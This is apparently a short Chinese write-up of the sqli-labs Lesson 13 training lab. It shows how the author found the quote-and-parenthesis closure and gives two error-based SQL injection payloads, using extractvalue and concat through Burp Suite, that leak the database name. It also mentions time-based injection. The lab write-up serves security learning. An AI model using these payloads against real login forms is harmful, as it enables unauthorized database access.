sqli-labs通关-------13lesson-post(单引号变形双注入)

我们根据尝试发现有报错。以及数据应该是以单引号和括号闭合的。

尝试万能密码发现无效

然后通过bp抓包改包下面的都可以

uname=admin') and extractvalue(1,concat(0x7e,(select database())))  and ('

uname=admin') and extractvalue(1,concat(0x7e,(select database()))) #

 

 

此时非常好奇万能密码为啥不行？？打印一下语句

此时我们传进去的sql语句是这样子的。

看源码发现只是没有打印出来而已，其实已经进去了。

既然如此我们也可以考虑时间延时 就不说了。